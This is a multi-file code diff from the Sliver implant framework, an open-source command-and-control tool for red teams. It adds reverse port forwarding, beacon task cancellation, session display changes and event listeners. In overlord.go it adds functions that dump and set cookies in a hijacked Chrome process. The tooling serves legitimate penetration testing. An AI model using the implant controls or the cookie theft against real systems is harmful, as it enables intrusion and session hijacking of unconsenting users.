+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"context"
+
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/sliverpb"
+
+	"github.com/desertbit/grumble"
+)
+
+// StartRportFwdListenerCmd - Start listener for reverse port forwarding on implant
+func StopRportFwdListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	session := con.ActiveTarget.GetSessionInteractive()
+	if session == nil {
+		return
+	}
+
+	listenerID := ctx.Flags.Int("id")
+	rportfwdListener, err := con.Rpc.StopRportFwdListener(context.Background(), &sliverpb.RportFwdStopListenerReq{
+		Request: con.ActiveTarget.Request(ctx),
+		ID:      uint32(listenerID),
+	})
+	if err != nil {
+		con.PrintWarnf("%s\n", err)
+		return
+	}
+	printStoppedRportFwdListener(rportfwdListener, con)
+}
+
+func printStoppedRportFwdListener(rportfwdListener *sliverpb.RportFwdListener, con *console.SliverConsoleClient) {
+	if rportfwdListener.Response != nil && rportfwdListener.Response.Err != "" {
+		con.PrintErrorf("%s", rportfwdListener.Response.Err)
+		return
+	}
+	con.PrintInfof("Stopped reverse port forwarding %s <- %s\n", rportfwdListener.ForwardAddress, rportfwdListener.BindAddress)
+}

client/command/rportfwd/portfwd.go

@@ -0,0 +1,74 @@
+package rportfwd
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2019  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"context"
+
+	"github.com/bishopfox/sliver/client/command/settings"
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"github.com/desertbit/grumble"
+	"github.com/jedib0t/go-pretty/v6/table"
+)
+
+// StartRportFwdListenerCmd - Start listener for reverse port forwarding on implant
+func RportFwdListenersCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	session := con.ActiveTarget.GetSessionInteractive()
+	if session == nil {
+		return
+	}
+
+	rportfwdListeners, err := con.Rpc.GetRportFwdListeners(context.Background(), &sliverpb.RportFwdListenersReq{
+		Request: con.ActiveTarget.Request(ctx),
+	})
+	if err != nil {
+		con.PrintWarnf("%s\n", err)
+		return
+	}
+	PrintRportFwdListeners(rportfwdListeners, ctx.Flags, con)
+}
+
+func PrintRportFwdListeners(rportfwdListeners *sliverpb.RportFwdListeners, flags grumble.FlagMap, con *console.SliverConsoleClient) {
+	if rportfwdListeners.Response != nil && rportfwdListeners.Response.Err != "" {
+		con.PrintErrorf("%s\n", rportfwdListeners.Response.Err)
+		return
+	}
+
+	if len(rportfwdListeners.Listeners) == 0 {
+		con.PrintInfof("No reverse port forwards\n")
+		return
+	}
+
+	tw := table.NewWriter()
+	tw.SetStyle(settings.GetTableStyle(con))
+	tw.AppendHeader(table.Row{
+		"ID",
+		"Remote Address",
+		"Bind Address",
+	})
+	for _, p := range rportfwdListeners.Listeners {
+		tw.AppendRow(table.Row{
+			p.ID,
+			p.ForwardAddress,
+			p.BindAddress,
+		})
+	}
+	con.Printf("%s\n", tw.Render())
+}

client/command/sessions/interactive.go

@@ -89,7 +89,7 @@ func InteractiveCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	c2s = append(c2s, tcpPivotC2...)
 
 	// No flags, parse the current beacon's ActiveC2 instead
-	if len(mtlsC2) == 0 && len(wgC2) == 0 && len(httpC2) == 0 && len(dnsC2) == 0 && len(namedPipeC2) == 0 && len(tcpPivotC2) == 0 {
+	if len(c2s) == 0 {
 		con.PrintInfof("Using beacon's active C2 endpoint: %s\n", beacon.ActiveC2)
 		c2url, err := url.Parse(beacon.ActiveC2)
 		if err != nil {

client/command/sessions/sessions.go

@@ -78,6 +78,10 @@ func SessionsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	}
 	if killFlag != "" {
 		session := con.GetSession(killFlag)
+		if session == nil {
+			con.PrintErrorf("Invalid session name or session number: %s\n", killFlag)
+			return
+		}
 		activeSession := con.ActiveTarget.GetSession()
 		if activeSession != nil && session.ID == activeSession.ID {
 			con.ActiveTarget.Background()
@@ -130,8 +134,9 @@ func PrintSessions(sessions map[string]*clientpb.Session, filter string, filterR
 
 	tw := table.NewWriter()
 	tw.SetStyle(settings.GetTableStyle(con))
+	wideTermWidth := con.Settings.SmallTermWidth < width
 
-	if con.Settings.SmallTermWidth < width {
+	if wideTermWidth {
 		tw.AppendHeader(table.Row{
 			"ID",
 			"Name",
@@ -140,6 +145,7 @@ func PrintSessions(sessions map[string]*clientpb.Session, filter string, filterR
 			"Hostname",
 			"Username",
 			"Operating System",
+			"Locale",
 			"Last Message",
 			"Health",
 		})
@@ -177,7 +183,7 @@ func PrintSessions(sessions map[string]*clientpb.Session, filter string, filterR
 		username := strings.TrimPrefix(session.Username, session.Hostname+"\\") // For non-AD Windows users
 
 		var rowEntries []string
-		if con.Settings.SmallTermWidth < width {
+		if wideTermWidth {
 			rowEntries = []string{
 				fmt.Sprintf(color+"%s"+console.Normal, ShortSessionID(session.ID)),
 				fmt.Sprintf(color+"%s"+console.Normal, session.Name),
@@ -186,7 +192,8 @@ func PrintSessions(sessions map[string]*clientpb.Session, filter string, filterR
 				fmt.Sprintf(color+"%s"+console.Normal, session.Hostname),
 				fmt.Sprintf(color+"%s"+console.Normal, username),
 				fmt.Sprintf(color+"%s/%s"+console.Normal, session.OS, session.Arch),
-				fmt.Sprintf(color+"%s"+console.Normal, time.Unix(session.LastCheckin, 0).Format(time.RFC1123)),
+				fmt.Sprintf(color+"%s"+console.Normal, session.Locale),
+				con.FormatDateDelta(time.Unix(session.LastCheckin, 0), wideTermWidth, false),
 				burned + SessionHealth,
 			}
 		} else {

client/command/tasks/fetch.go

@@ -28,6 +28,7 @@ import (
 	"github.com/AlecAivazis/survey/v2"
 	"github.com/bishopfox/sliver/client/command/environment"
 	"github.com/bishopfox/sliver/client/command/exec"
+	"github.com/bishopfox/sliver/client/command/extensions"
 	"github.com/bishopfox/sliver/client/command/filesystem"
 	"github.com/bishopfox/sliver/client/command/network"
 	"github.com/bishopfox/sliver/client/command/privilege"
@@ -157,6 +158,8 @@ func emojiState(state string) string {
 		return "⏳"
 	case "failed":
 		return "❌"
+	case "canceled":
+		return "🚫"
 	default:
 		return "❓"
 	}
@@ -210,9 +213,25 @@ func renderTaskResponse(task *clientpb.BeaconTask, con *console.SliverConsoleCli
 		}
 		environment.PrintUnsetEnvInfo(unsetEnvReq.Name, unsetEnv, con)
 
+	// ---------------------
+	// Call extension commands
+	// ---------------------
+	case sliverpb.MsgCallExtensionReq:
+		callExtension := &sliverpb.CallExtension{}
+		err := proto.Unmarshal(task.Response, callExtension)
+		if err != nil {
+			con.PrintErrorf("Failed to decode task response: %s\n", err)
+			return
+		}
+		extensions.PrintExtOutput("", "", callExtension, con)
+
 	// ---------------------
 	// Exec commands
 	// ---------------------
+	case sliverpb.MsgInvokeExecuteAssemblyReq:
+		fallthrough
+	case sliverpb.MsgInvokeInProcExecuteAssemblyReq:
+		fallthrough
 	case sliverpb.MsgExecuteAssemblyReq:
 		execAssembly := &sliverpb.ExecuteAssembly{}
 		err := proto.Unmarshal(task.Response, execAssembly)
@@ -231,6 +250,7 @@ func renderTaskResponse(task *clientpb.BeaconTask, con *console.SliverConsoleCli
 			Flags: grumble.FlagMap{
 				"save": &grumble.FlagMapItem{Value: false, IsDefault: true},
 				"loot": &grumble.FlagMapItem{Value: false, IsDefault: true},
+				"name": &grumble.FlagMapItem{Value: "", IsDefault: true},
 			},
 		}
 		exec.HandleExecuteAssemblyResponse(execAssembly, assemblyPath, hostname, ctx, con)
@@ -404,6 +424,33 @@ func renderTaskResponse(task *clientpb.BeaconTask, con *console.SliverConsoleCli
 		}
 		filesystem.PrintUpload(upload, con)
 
+	case sliverpb.MsgChmodReq:
+		chmod := &sliverpb.Chmod{}
+		err := proto.Unmarshal(task.Response, chmod)
+		if err != nil {
+			con.PrintErrorf("Failed to decode task response: %s\n", err)
+			return
+		}
+		filesystem.PrintChmod(chmod, con)
+
+	case sliverpb.MsgChownReq:
+		chown := &sliverpb.Chown{}
+		err := proto.Unmarshal(task.Response, chown)
+		if err != nil {
+			con.PrintErrorf("Failed to decode task response: %s\n", err)
+			return
+		}
+		filesystem.PrintChown(chown, con)
+
+	case sliverpb.MsgChtimesReq:
+		chtimes := &sliverpb.Chtimes{}
+		err := proto.Unmarshal(task.Response, chtimes)
+		if err != nil {
+			con.PrintErrorf("Failed to decode task response: %s\n", err)
+			return
+		}
+		filesystem.PrintChtimes(chtimes, con)
+
 	// ---------------------
 	// Network commands
 	// ---------------------
@@ -428,7 +475,7 @@ func renderTaskResponse(task *clientpb.BeaconTask, con *console.SliverConsoleCli
 			con.PrintErrorf("Failed to fetch beacon: %s\n", err)
 			return
 		}
-		network.PrintNetstat(netstat, beacon.PID, beacon.ActiveC2, con)
+		network.PrintNetstat(netstat, beacon.PID, beacon.ActiveC2, false, con)
 
 	// ---------------------
 	// Privilege commands
@@ -546,6 +593,7 @@ func renderTaskResponse(task *clientpb.BeaconTask, con *console.SliverConsoleCli
 				"overflow":      &grumble.FlagMapItem{Value: false},
 				"skip-pages":    &grumble.FlagMapItem{Value: 0},
 				"print-cmdline": &grumble.FlagMapItem{Value: true},
+				"tree":          &grumble.FlagMapItem{Value: false},
 			},
 		}
 		processes.PrintPS(beacon.OS, ps, true, ctx, con)

client/command/tasks/tasks-cancel.go

@@ -0,0 +1,60 @@
+package tasks
+
+import (
+	"context"
+
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/desertbit/grumble"
+)
+
+// TasksCancelCmd - Cancel a beacon task before it's sent to the implant
+func TasksCancelCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	beacon := con.ActiveTarget.GetBeaconInteractive()
+	if beacon == nil {
+		return
+	}
+
+	idArg := ctx.Args.String("id")
+	var task *clientpb.BeaconTask
+	var err error
+	if idArg == "" {
+		beaconTasks, err := con.Rpc.GetBeaconTasks(context.Background(), &clientpb.Beacon{ID: beacon.ID})
+		if err != nil {
+			con.PrintErrorf("%s\n", err)
+			return
+		}
+		tasks := []*clientpb.BeaconTask{}
+		for _, task := range beaconTasks.Tasks {
+			if task.State == "pending" {
+				tasks = append(tasks, task)
+			}
+		}
+		if len(tasks) == 0 {
+			con.PrintErrorf("No pending tasks for beacon\n")
+			return
+		}
+
+		task, err = SelectBeaconTask(tasks)
+		if err != nil {
+			con.PrintErrorf("%s\n", err)
+			return
+		}
+		con.Printf(console.UpN+console.Clearln, 1)
+	} else {
+		task, err = con.Rpc.GetBeaconTaskContent(context.Background(), &clientpb.BeaconTask{ID: idArg})
+		if err != nil {
+			con.PrintErrorf("%s\n", err)
+			return
+		}
+	}
+
+	if task != nil {
+		task, err := con.Rpc.CancelBeaconTask(context.Background(), task)
+		if err != nil {
+			con.PrintErrorf("%s\n", err)
+			return
+		}
+		con.PrintInfof("Task %s canceled\n", task.ID)
+	}
+}

client/command/tasks/tasks.go

@@ -97,6 +97,8 @@ func prettyState(state string) string {
 		return console.Bold + console.Orange + state + console.Normal
 	case "completed":
 		return console.Bold + console.Green + state + console.Normal
+	case "canceled":
+		return console.Bold + console.Gray + state + console.Normal
 	default:
 		return state
 	}

client/command/websites/websites-add-content.go

@@ -1,10 +1,27 @@
 package websites
 
+/*
+	Sliver Implant Framework
+	Copyright (C) 2019  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
 import (
 	"context"
 	"errors"
 	"io"
-	"io/ioutil"
 	"net/http"
 	"os"
 	"path"
@@ -94,7 +111,7 @@ func webAddFile(web *clientpb.WebsiteAddContent, webpath string, contentType str
 		return err
 	}
 	defer file.Close()
-	data, err := ioutil.ReadAll(file)
+	data, err := io.ReadAll(file)
 	if err != nil {
 		return err
 	}

client/command/websites/websites-rm-content.go

@@ -1,5 +1,23 @@
 package websites
 
+/*
+	Sliver Implant Framework
+	Copyright (C) 2019  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
 import (
 	"context"
 	"strings"

client/command/websites/websites-rm.go

@@ -1,5 +1,23 @@
 package websites
 
+/*
+	Sliver Implant Framework
+	Copyright (C) 2019  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
 import (
 	"context"
 

client/command/websites/websites-update-content.go

@@ -1,5 +1,23 @@
 package websites
 
+/*
+	Sliver Implant Framework
+	Copyright (C) 2019  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
 import (
 	"context"
 

client/command/websites/websites.go

@@ -100,7 +100,7 @@ func PrintWebsite(web *clientpb.Website, con *console.SliverConsoleClient) {
 		return sortedContents[i].Path < sortedContents[j].Path
 	})
 	for _, content := range sortedContents {
-		tw.AppendHeader(table.Row{
+		tw.AppendRow(table.Row{
 			content.Path,
 			content.ContentType,
 			content.Size,

client/console/console.go

@@ -44,6 +44,7 @@ import (
 	"github.com/desertbit/go-shlex"
 	"github.com/desertbit/grumble"
 	"github.com/fatih/color"
+	"github.com/gofrs/uuid"
 	"google.golang.org/protobuf/proto"
 )
 
@@ -91,6 +92,7 @@ type SliverConsoleClient struct {
 	App                      *grumble.App
 	Rpc                      rpcpb.SliverRPCClient
 	ActiveTarget             *ActiveTarget
+	EventListeners           *sync.Map
 	BeaconTaskCallbacks      map[string]BeaconTaskCallback
 	BeaconTaskCallbacksMutex *sync.Mutex
 	IsServer                 bool
@@ -120,6 +122,7 @@ func Start(rpc rpcpb.SliverRPCClient, bindCmds BindCmds, extraCmds BindCmds, isS
 			observers:  map[int]Observer{},
 			observerID: 0,
 		},
+		EventListeners:           &sync.Map{},
 		BeaconTaskCallbacks:      map[string]BeaconTaskCallback{},
 		BeaconTaskCallbacksMutex: &sync.Mutex{},
 		IsServer:                 isServer,
@@ -136,7 +139,7 @@ func Start(rpc rpcpb.SliverRPCClient, bindCmds BindCmds, extraCmds BindCmds, isS
 		con.App.SetPrompt(con.GetPrompt())
 	})
 
-	go con.EventLoop()
+	go con.startEventLoop()
 	go core.TunnelLoop(rpc)
 
 	err := con.App.Run()
@@ -146,7 +149,7 @@ func Start(rpc rpcpb.SliverRPCClient, bindCmds BindCmds, extraCmds BindCmds, isS
 	return err
 }
 
-func (con *SliverConsoleClient) EventLoop() {
+func (con *SliverConsoleClient) startEventLoop() {
 	eventStream, err := con.Rpc.Events(context.Background(), &commonpb.Empty{})
 	if err != nil {
 		fmt.Printf(Warn+"%s\n", err)
@@ -158,7 +161,10 @@ func (con *SliverConsoleClient) EventLoop() {
 			return
 		}
 
+		go con.triggerEventListeners(event)
+
 		// Trigger event based on type
+		echoed := false // Only echo the event once
 		switch event.EventType {
 
 		case consts.CanaryEvent:
@@ -168,6 +174,7 @@ func (con *SliverConsoleClient) EventLoop() {
 				shortID := strings.Split(session.ID, "-")[0]
 				con.PrintEventErrorf(eventMsg+"\n"+Clearln+"\t🔥 Session %s is affected\n", shortID)
 			}
+			echoed = true
 
 		case consts.WatchtowerEvent:
 			msg := string(event.Data)
@@ -177,15 +184,19 @@ func (con *SliverConsoleClient) EventLoop() {
 				shortID := strings.Split(session.ID, "-")[0]
 				con.PrintEventErrorf(eventMsg+"\n"+Clearln+"\t🔥 Session %s is affected", shortID)
 			}
+			echoed = true
 
 		case consts.JoinedEvent:
 			con.PrintEventInfof("%s has joined the game", event.Client.Operator.Name)
+			echoed = true
 		case consts.LeftEvent:
 			con.PrintEventInfof("%s left the game", event.Client.Operator.Name)
+			echoed = true
 
 		case consts.JobStoppedEvent:
 			job := event.Job
 			con.PrintEventErrorf("Job #%d stopped (%s/%s)", job.ID, job.Protocol, job.Name)
+			echoed = true
 
 		case consts.SessionOpenedEvent:
 			session := event.Session
@@ -201,12 +212,14 @@ func (con *SliverConsoleClient) EventLoop() {
 					con.PrintEventErrorf("Could not add session to Operator: %s", err)
 				}
 			}
+			echoed = true
 
 		case consts.SessionUpdateEvent:
 			session := event.Session
 			currentTime := time.Now().Format(time.RFC1123)
 			shortID := strings.Split(session.ID, "-")[0]
 			con.PrintEventInfof("Session %s has been updated - %v", shortID, currentTime)
+			echoed = true
 
 		case consts.SessionClosedEvent:
 			session := event.Session
@@ -229,6 +242,7 @@ func (con *SliverConsoleClient) EventLoop() {
 				}
 				con.PrintEventInfof("Removed session %s from Operator", session.Name)
 			}
+			echoed = true
 
 		case consts.BeaconRegisteredEvent:
 			beacon := &clientpb.Beacon{}
@@ -247,18 +261,46 @@ func (con *SliverConsoleClient) EventLoop() {
 					con.PrintEventErrorf("Could not add beacon to Operator: %s", err)
 				}
 			}
+			echoed = true
 
 		case consts.BeaconTaskResultEvent:
 			con.triggerBeaconTaskCallback(event.Data)
+			echoed = true
+
 		}
 
 		con.triggerReactions(event)
 
-		con.Printf(Clearln + con.GetPrompt())
-		bufio.NewWriter(con.App.Stdout()).Flush()
+		// Only render if we echoed the event
+		if echoed {
+			con.Printf(Clearln + con.GetPrompt())
+			bufio.NewWriter(con.App.Stdout()).Flush()
+		}
 	}
 }
 
+func (con *SliverConsoleClient) CreateEventListener() (string, <-chan *clientpb.Event) {
+	listener := make(chan *clientpb.Event, 100)
+	listenerID, _ := uuid.NewV4()
+	con.EventListeners.Store(listenerID.String(), listener)
+	return listenerID.String(), listener
+}
+
+func (con *SliverConsoleClient) RemoveEventListener(listenerID string) {
+	value, ok := con.EventListeners.LoadAndDelete(listenerID)
+	if ok {
+		close(value.(chan *clientpb.Event))
+	}
+}
+
+func (con *SliverConsoleClient) triggerEventListeners(event *clientpb.Event) {
+	con.EventListeners.Range(func(key, value interface{}) bool {
+		listener := value.(chan *clientpb.Event)
+		listener <- event // Do not block while sending the event to the listener
+		return true
+	})
+}
+
 func (con *SliverConsoleClient) triggerReactions(event *clientpb.Event) {
 	reactions := core.Reactions.On(event.EventType)
 	if len(reactions) == 0 {
@@ -319,12 +361,12 @@ func (con *SliverConsoleClient) triggerBeaconTaskCallback(data []byte) {
 			if beacon != nil {
 				con.PrintEventSuccessf("%s completed task %s", beacon.Name, strings.Split(task.ID, "-")[0])
 			}
-			task, err = con.Rpc.GetBeaconTaskContent(ctx, &clientpb.BeaconTask{
+			task_content, err := con.Rpc.GetBeaconTaskContent(ctx, &clientpb.BeaconTask{
 				ID: task.ID,
 			})
 			con.Printf(Clearln + "\r")
 			if err == nil {
-				callback(task)
+				callback(task_content)
 			} else {
 				con.PrintErrorf("Could not get beacon task content: %s\n", err)
 			}
@@ -525,6 +567,34 @@ func (con *SliverConsoleClient) SpinUntil(message string, ctrl chan bool) {
 	go spin.Until(con.App.Stdout(), message, ctrl)
 }
 
+// FormatDateDelta - Generate formatted date string of the time delta between then and now
+func (con *SliverConsoleClient) FormatDateDelta(t time.Time, includeDate bool, color bool) string {
+	nextTime := t.Format(time.UnixDate)
+
+	var interval string
+
+	if t.Before(time.Now()) {
+		if includeDate {
+			interval = fmt.Sprintf("%s (%s ago)", nextTime, time.Since(t).Round(time.Second))
+		} else {
+			interval = time.Since(t).Round(time.Second).String()
+		}
+		if color {
+			interval = fmt.Sprintf("%s%s%s", Bold+Red, interval, Normal)
+		}
+	} else {
+		if includeDate {
+			interval = fmt.Sprintf("%s (in %s)", nextTime, time.Until(t).Round(time.Second))
+		} else {
+			interval = time.Until(t).Round(time.Second).String()
+		}
+		if color {
+			interval = fmt.Sprintf("%s%s%s", Bold+Green, interval, Normal)
+		}
+	}
+	return interval
+}
+
 //
 // -------------------------- [ Active Target ] --------------------------
 //

client/constants/constants.go

@@ -88,6 +88,15 @@ const (
 
 	// BeaconTaskResult - Beacon task completed with a result
 	BeaconTaskResultEvent = "beacon-taskresult"
+
+	// ExternalBuildEvent
+	ExternalBuildEvent          = "external-build"
+	AcknowledgeBuildEvent       = "external-acknowledge"
+	ExternalBuildFailedEvent    = "external-build-failed"
+	ExternalBuildCompletedEvent = "external-build-completed"
+
+	// WireGuardNewPeer - New Wireguard peer added
+	WireGuardNewPeer = "wireguard-newpeer"
 )
 
 // Commands
@@ -104,6 +113,7 @@ const (
 	ReconfigStr     = "reconfig"
 	PruneStr        = "prune"
 	TasksStr        = "tasks"
+	CancelStr       = "cancel"
 	GenerateStr     = "generate"
 	RegenerateStr   = "regenerate"
 	CompilerInfoStr = "info"
@@ -177,6 +187,9 @@ const (
 	UploadStr   = "upload"
 	IfconfigStr = "ifconfig"
 	NetstatStr  = "netstat"
+	ChmodStr       = "chmod"
+	ChownStr       = "chown"
+	ChtimesStr       = "chtimes"
 
 	ProcdumpStr         = "procdump"
 	ImpersonateStr      = "impersonate"
@@ -223,8 +236,9 @@ const (
 	InteractiveStr        = "interactive"
 	CloseStr              = "close"
 
-	PortfwdStr = "portfwd"
-	Socks5Str  = "socks5"
+	PortfwdStr  = "portfwd"
+	Socks5Str   = "socks5"
+	RportfwdStr = "rportfwd"
 
 	ReactionStr = "reaction"
 
@@ -244,6 +258,9 @@ const (
 	CursedConsole  = "console"
 	CursedElectron = "electron"
 	CursedEdge     = "edge"
+	CursedCookies  = "cookies"
+
+	BuildersStr = "builders"
 )
 
 // Groups

client/overlord/overlord.go

@@ -3,14 +3,17 @@ package overlord
 /*
 	Sliver Implant Framework
 	Copyright (C) 2022  Bishop Fox
+
 	This program is free software: you can redistribute it and/or modify
 	it under the terms of the GNU General Public License as published by
 	the Free Software Foundation, either version 3 of the License, or
 	(at your option) any later version.
+
 	This program is distributed in the hope that it will be useful,
 	but WITHOUT ANY WARRANTY; without even the implied warranty of
 	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 	GNU General Public License for more details.
+
 	You should have received a copy of the GNU General Public License
 	along with this program.  If not, see <https://www.gnu.org/licenses/>.
 */
@@ -19,14 +22,17 @@ import (
 	"context"
 	"encoding/json"
 	"errors"
-	"fmt"
-	"io/ioutil"
+	"io"
 	"log"
 	"net/http"
 	"net/url"
+	"time"
 
 	"github.com/bishopfox/sliver/client/core"
+	"github.com/chromedp/cdproto/cdp"
+	"github.com/chromedp/cdproto/network"
 	"github.com/chromedp/cdproto/page"
+	"github.com/chromedp/cdproto/storage"
 	"github.com/chromedp/cdproto/target"
 	"github.com/chromedp/chromedp"
 )
@@ -53,7 +59,7 @@ const (
 
 var (
 	// ErrTargetNotFound - Returned when a target cannot be found
-	ErrTargetNotFound = errors.New("Target not found")
+	ErrTargetNotFound = errors.New("target not found")
 )
 
 // ManifestBackground - An extension manifest file
@@ -123,7 +129,7 @@ func findTargetInfoByID(ctx context.Context, targetID string) *target.Info {
 		return nil
 	}
 	for _, targetInfo := range targets {
-		if fmt.Sprintf("%s", targetInfo.TargetID) == targetID {
+		if targetInfo.TargetID.String() == targetID {
 			return targetInfo
 		}
 	}
@@ -158,7 +164,10 @@ func ExecuteJS(ctx context.Context, string, targetID string, jsCode string) ([]b
 	}
 	extCtx, _ := chromedp.NewContext(ctx, chromedp.WithTargetID(targetInfo.TargetID))
 	var result []byte
-	err := chromedp.Run(extCtx, chromedp.Evaluate(jsCode, &result))
+	evalTasks := chromedp.Tasks{
+		chromedp.Evaluate(jsCode, &result),
+	}
+	err := chromedp.Run(extCtx, evalTasks)
 	return result, err
 }
 
@@ -218,9 +227,9 @@ func QueryDebugTargets(debugURL string) ([]ChromeDebugTarget, error) {
 		return nil, err
 	}
 	if resp.StatusCode != 200 {
-		return nil, errors.New("Non-200 status code")
+		return nil, errors.New("non-200 status code")
 	}
-	data, err := ioutil.ReadAll(resp.Body)
+	data, err := io.ReadAll(resp.Body)
 	if err != nil {
 		return nil, err
 	}
@@ -236,9 +245,9 @@ func QueryExtensionDebugTargets(debugURL string) ([]ChromeDebugTarget, error) {
 		return nil, err
 	}
 	if resp.StatusCode != 200 {
-		return nil, errors.New("Non-200 status code")
+		return nil, errors.New("non-200 status code")
 	}
-	data, err := ioutil.ReadAll(resp.Body)
+	data, err := io.ReadAll(resp.Body)
 	if err != nil {
 		return nil, err
 	}
@@ -260,6 +269,65 @@ func QueryExtensionDebugTargets(debugURL string) ([]ChromeDebugTarget, error) {
 	return extensionContexts, nil
 }
 
+// DumpCookies - Dump all cookies from the remote debug target
+func DumpCookies(curse *core.CursedProcess, webSocketURL string) ([]*network.Cookie, error) {
+	var cookies []*network.Cookie
+	var err error
+	dumpCookieTasks := chromedp.Tasks{
+		// read network values
+		chromedp.ActionFunc(func(ctx context.Context) error {
+			cookies, err = storage.GetCookies().Do(ctx)
+			if err != nil {
+				return err
+			}
+			return nil
+		}),
+	}
+	taskCtx, taskCancel, cancel := GetChromeContext(webSocketURL, curse)
+	defer taskCancel()
+	defer cancel()
+	ctx, _ := chromedp.NewContext(taskCtx)
+	if err := chromedp.Run(ctx, dumpCookieTasks); err != nil {
+		return cookies, err
+	}
+	return cookies, nil
+}
+
+func SetCookie(curse *core.CursedProcess, webSocketURL string, host string, cookies ...string) (string, error) {
+	var res string
+	setCookieTasks := chromedp.Tasks{
+		chromedp.ActionFunc(func(ctx context.Context) error {
+			// create cookie expiration
+			expr := cdp.TimeSinceEpoch(time.Now().Add(180 * 24 * time.Hour))
+			// add cookies to chrome
+			for i := 0; i < len(cookies); i += 2 {
+				err := network.SetCookie(cookies[i], cookies[i+1]).
+					WithExpires(&expr).
+					WithDomain("localhost").
+					WithHTTPOnly(true).
+					Do(ctx)
+				if err != nil {
+					return err
+				}
+			}
+			return nil
+		}),
+		// navigate to site
+		// chromedp.Navigate(host),
+		// read the returned values
+		// chromedp.Text(`#result`, &res, chromedp.ByID, chromedp.NodeVisible),
+	}
+	taskCtx, taskCancel, cancel := GetChromeContext(webSocketURL, curse)
+	defer taskCancel()
+	defer cancel()
+	ctx, _ := chromedp.NewContext(taskCtx)
+	if err := chromedp.Run(ctx, setCookieTasks); err != nil {
+		return "", err
+	}
+
+	return res, nil
+}
+
 // Screenshot - Take a screenshot of a Chrome context
 func Screenshot(curse *core.CursedProcess, webSocketURL string, targetID string, quality int64) ([]byte, error) {
 	var result []byte

docs/Gemfile

@@ -37,3 +37,5 @@ gem "wdm", "~> 0.1.0", :install_if => Gem.win_platform?
 # kramdown v1, comment out this line.
 gem "kramdown-parser-gfm"
 
+
+gem "webrick", "~> 1.8"

docs/Gemfile.lock

@@ -1,62 +1,43 @@
 GEM
   remote: https://rubygems.org/
   specs:
-    activesupport (6.0.4.6)
+    activesupport (6.0.6.1)
       concurrent-ruby (~> 1.0, >= 1.0.2)
       i18n (>= 0.7, < 2)
       minitest (~> 5.1)
       tzinfo (~> 1.1)
       zeitwerk (~> 2.2, >= 2.2.2)
-    addressable (2.8.0)
-      public_suffix (>= 2.0.2, < 5.0)
+    addressable (2.8.1)
+      public_suffix (>= 2.0.2, < 6.0)
     coffee-script (2.4.1)
       coffee-script-source
       execjs
     coffee-script-source (1.11.1)
     colorator (1.1.0)
-    commonmarker (0.23.4)
-    concurrent-ruby (1.1.9)
+    commonmarker (0.23.9)
+    concurrent-ruby (1.2.0)
     dnsruby (1.61.9)
       simpleidn (~> 0.1)
     em-websocket (0.5.3)
       eventmachine (>= 0.12.9)
       http_parser.rb (~> 0)
-    ethon (0.15.0)
+    ethon (0.16.0)
       ffi (>= 1.15.0)
     eventmachine (1.2.7)
     execjs (2.8.1)
-    faraday (1.10.0)
-      faraday-em_http (~> 1.0)
-      faraday-em_synchrony (~> 1.0)
-      faraday-excon (~> 1.1)
-      faraday-httpclient (~> 1.0)
-      faraday-multipart (~> 1.0)
-      faraday-net_http (~> 1.0)
-      faraday-net_http_persistent (~> 1.0)
-      faraday-patron (~> 1.0)
-      faraday-rack (~> 1.0)
-      faraday-retry (~> 1.0)
+    faraday (2.7.4)
